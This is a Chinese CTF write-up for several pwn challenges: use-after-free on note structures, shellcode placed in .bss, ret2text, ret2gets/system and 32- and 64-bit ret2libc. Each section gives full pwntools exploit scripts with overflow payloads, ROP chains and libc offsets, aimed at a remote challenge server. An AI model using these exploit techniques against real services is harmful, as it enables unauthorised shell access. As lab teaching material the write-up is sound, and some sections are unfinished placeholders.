本题主要考查pwn堆溢出fastbin attack相关知识
使用checksec工具分析,开启了canary和NX保护
运行程序有三个选项,分别进行测试
设定note大小并新建一个note
显示已新建的note
删除创建的note
可以发现main函数中有一个def()函数
查看函数,该函数对应一开始出现的"Hi! What do you like?",并将输入读入到缓冲区buf中
strtok 是 C 语言中的一个函数,用于在字符串中进行分割,它根据给定的分隔符将字符串拆分成一系列的标记。
上述嵌套if语句中,先对输入使用","进行分割,判断分割后是否存在内容。若存在,再使用"."进行分割,并判断是否存在内容。若仍存在,再将余下的字符串与"everyone"使用strcmp()函数进行比较,若相等则返回0,则if语句判断条件不成立。在上述三个if语句中,(unsigned int)ptrace(PTRACE_TRACEME) 用于反调试,但最终剩下的字符串若等于"everyone",反调试并不生效,而是会正常退出,进而实现对上述反调试代码的绕过。
在main()函数中,可以看到各个选项所对应的函数
(1)首先查看add_note()函数,该函数用于添加一条note
在第一个与第二个红框处,为指向print_note_content函数的指针(可能是一个结构体)分配了0x10大小的内存,由下图可以看出print_note_content函数实际上就是puts函数
在第三个与第四个红框处,根据用户输入的size值来开辟相应的内存空间,随后note内容被存入该空间
.bss段中notelist处空间情况如下图所示
(2)然后,查看del_note()函数
该函数根据用户输入的 Index 值来确定删除哪一个note,第二个红框中,对存放note和puts函数的内存空间都进行了释放,但没有将指针置空,存在漏洞
可以发现,题目给出的程序存在后门函数magic,通过执行该函数可以获取flag。那么,可以尝试将del_note()函数中未置空的指针指向magic函数的地址,进而执行该后门函数。
(3)最后,查看print_note()函数,该函数通过调用add_note()函数中提到的puts函数来打印用户输入的 Index 值指定的note内容
首先,构造用于绕过def()函数的字符串
io.recvuntil('like?')
io.sendline('Hello,everyone.')
然后,通过两次调用Add函数来申请两个堆块,此时输入的Size最小值 = 0x10 + len(Context) + 1
Add(0x14, 'polar_ctf') # chunk 0
Add(0x19, 'polar_ctf_2023') # chunk 1
可以再申请一个堆块,用于POP chunk隔离
Add(0x10, 'polar') # chunk 2
将申请的第0个和第1个堆块进行释放,先释放 chunk 0 再释放 chunk 1
Del(0)
Del(1)
然后,再申请一个堆块 chunk 0,将后门函数的地址写入。在此时的Add函数执行过程中,会先调用chunk 1 中的结构体(puts函数),然后在调用 chunk 0 的结构体(puts函数)时,将后门函数写入。
最后,通过调用print_note()函数来执行后门函数,得到flag
Add(6, p64(magic_addr))
Show(0)
完整脚本如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('120.46.59.242', 2066)
magic_addr = 0x400CB1
def Add(Size, Context):
io.recvuntil(':')
io.sendline('1')
io.recvuntil(':')
io.sendline(str(Size))
io.recvuntil(':')
io.sendline(Context)
def Del(Index):
io.recvuntil(':')
io.sendline('2')
io.recvuntil(':')
io.sendline(str(Index))
def Show(Index):
io.recvuntil(':')
io.sendline('3')
io.recvuntil(':')
io.sendline(str(Index))
io.recvuntil('like?')
io.sendline('Hello,everyone.')
# min_Size = 0x10 + len(Context) + 1
Add(0x14, 'polar_ctf') # chunk 0
Add(0x19, 'polar_ctf_2023') # chunk 1
# 用于POP chunk隔离
Add(0x10, 'polar') # chunk 2
# todo 思考为什么是先删除0,再删除1
Del(0)
Del(1)
Add(6, p64(magic_addr))
Show(0)
io.interactive()
本题主要考查栈溢出中shellcode写入利用相关知识
使用checksec分析,NX保护开启情况未知
程序一开始会进入到如下函数中
通过查看发现,read() 函数中的参数 x 位于 .bss 段
此外,由于 gets() 函数由于未对输入长度进行限制,存在栈溢出漏洞
那么,我们可以通过 read() 函数将 shellcode 写入 .bss 段中,然后通过栈溢出漏洞覆盖函数返回地址为 .bss 段中我们写入的 shellcode 地址,进而 getshell
from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = remote('120.46.59.242', 2115)
elf = ELF('./shellcode1')
x_addr = 0x804a080
shellcode = asm(shellcraft.sh())
io.sendlineafter('name?', shellcode)
payload = b'a' * 0x6c + b'b' * 4 + p32(x_addr)
io.sendlineafter('me:', payload)
io.interactive()
Start()函数中有一个gets()函数,且不对输入长度作限制,存在栈溢出漏洞
在Exports中,可以看到有一个位于.bss段的变量 buf2
那么,我们可以将 '/bin/bash' 写入位于.bss段的变量 buf2 中,并将其作为system()函数的参数调用system()函数执行来get shell
我们通过 elf.sym[] 或者 elf.plt[] 来获取 gets system的plt表地址,初步编写脚本如下
from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = remote('120.46.59.242', 2069)
elf = ELF('./guess')
gets_addr = elf.sym['gets']
system_addr = elf.sym['system']
buf2_addr = 0x804a080
payload = b'a' * 0x6c + b'b' * 4 + p32(gets_addr) + p32() + p32()
由于gets()函数跳过4个字节去寻找参数,那么完善payload如下
payload = b'a' * 0x6c + b'b' * 4 + p32(gets_addr) + p32() + p32(buf2_addr)
将 '/bin/bash' 作为参数传入 buf2 中后,需要继续调用 system() 函数,并将 buf2 中的 '/bin/bash' 作为system() 函数的参数调用,由于 system() 函数也是跳过4个字节去寻找参数,那么进一步完善 payload 如下
payload = b'a' * 0x6c + b'b' * 4 + p32(gets_addr) + p32(system_addr) + p32(buf2_addr) + p32(buf2_addr)
最终,完整脚本如下
from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = remote('120.46.59.242', 2069)
elf = ELF('./guess')
gets_addr = elf.sym['gets']
system_addr = elf.sym['system']
buf2_addr = 0x804a080
payload = b'a' * 0x6c + b'b' * 4 + p32(gets_addr) + p32(system_addr) + p32(buf2_addr) + p32(buf2_addr)
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()
?
本题一开始会进入到如下函数
由于本题直接在 exploit() 函数中给出了 system("/bin/sh"),因此我们直接通过 back() 函数中存在的栈溢出漏洞,覆盖函数返回地址为 exploit() 函数地址即可getshell
from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = remote('120.46.59.242', 2101)
exploit_addr = 0x804887c
payload = b'a' * 0x6c + b'b' * 4 + p32(exploit_addr)
io.sendlineafter('back', payload)
io.interactive()
本题为一道典型的 ret2libc32 题目
在Start()函数中,read()函数可读入0xc8个字节,但buf大小仅0x6c字节,存在栈溢出漏洞
由于在字串及Exports中均无其他可利用信息,也无其他后门函数,因此本题将通过 ret2libc 获取shell
首先
from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = remote('120.46.59.242', 2074)
elf = ELF('./look')
write_plt = elf.plt['write']
write_got = elf.got['write']
Start_addr = 0x08048561
payload = b'a' * 0x6c + b'b' * 4 + p32(write_plt) + p32(Start_addr) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload)
write_addr = u32(io.recv(4))
success("write_addr >>> 0x%x" % write_addr)
然后进行在线调试,查看输出情况,发现此时 write_addr 为 0xf7e964d0
前往 https://libc.blukat.me,根据 write_addr 来查找相应的 libc
根据 write 函数在 libc 中的偏移量,可以计算出基址,进而计算出 system、str_bin_sh 在 libc 中的地址
利用 system、str_bin_sh 在 libc 中的地址编写 payload 进行二次溢出来 get shell,脚本后半段如下
base_addr = write_addr - 0x0d44d0
system_addr = base_addr + 0x03a950
bin_sh_addr = base_addr + 0x15912b
payload = b'a' * 0x6c + b'b' * 4 + p32(system_addr) + p32(Start_addr) + p32(bin_sh_addr)
io.sendline(payload)
io.interactive()
最终,完整脚本如下
from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = remote('120.46.59.242', 2074)
elf = ELF('./look')
write_plt = elf.plt['write']
write_got = elf.got['write']
Start_addr = 0x08048561
payload = b'a' * 0x6c + b'b' * 4 + p32(write_plt) + p32(Start_addr) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload)
write_addr = u32(io.recv(4))
success("write_addr >>> 0x%x" % write_addr)
base_addr = write_addr - 0x0d44d0
system_addr = base_addr + 0x03a950
bin_sh_addr = base_addr + 0x15912b
payload = b'a' * 0x6c + b'b' * 4 + p32(system_addr) + p32(Start_addr) + p32(bin_sh_addr)
io.sendline(payload)
io.interactive()
?(题解待补充)
?(题解待补充)
这是一道常规的64位程序ret2libc题
查看字串,可以发现没有system函数,也没有"/bin/sh"
本题由main函数直接进入 putting() 函数中,很明显在gets函数处存在栈溢出漏洞
由题目名称可知,本题为一道ret2libc,那么直接
使用 ROPgadget 查看返回地址,可得 pop_rdi_ret = 0x400843,ret_addr = 0x400581
本题依旧是构造二次溢出,同样可以前往 libc database search,根据 puts_addr 来查找相应的 libc
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('120.46.59.242', 2123)
elf = ELF('./05ret2libc_64')
pop_rdi_ret = 0x400843
ret_addr = 0x400581
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
# putting_addr = elf.sym['putting']
main_addr = elf.sym['main']
# payload = b'a' * 0x100 + b'b' * 8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(putting_addr)
payload = b'a' * 0x100 + b'b' * 8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendlineafter('question:\n', payload)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print('puts_addr=', hex(puts_addr))
libc_base = puts_addr - 0x06f6a0
system_addr = libc_base + 0x0453a0
bin_sh_addr = libc_base + 0x18ce57
# payload = b'a' * 0x100 + b'b' * 8 + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
payload = b'a' * 0x100 + b'b' * 8 + p64(ret_addr) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
io.sendlineafter('question:\n', payload)
io.interactive()
(题解待更新)
(题解待更新)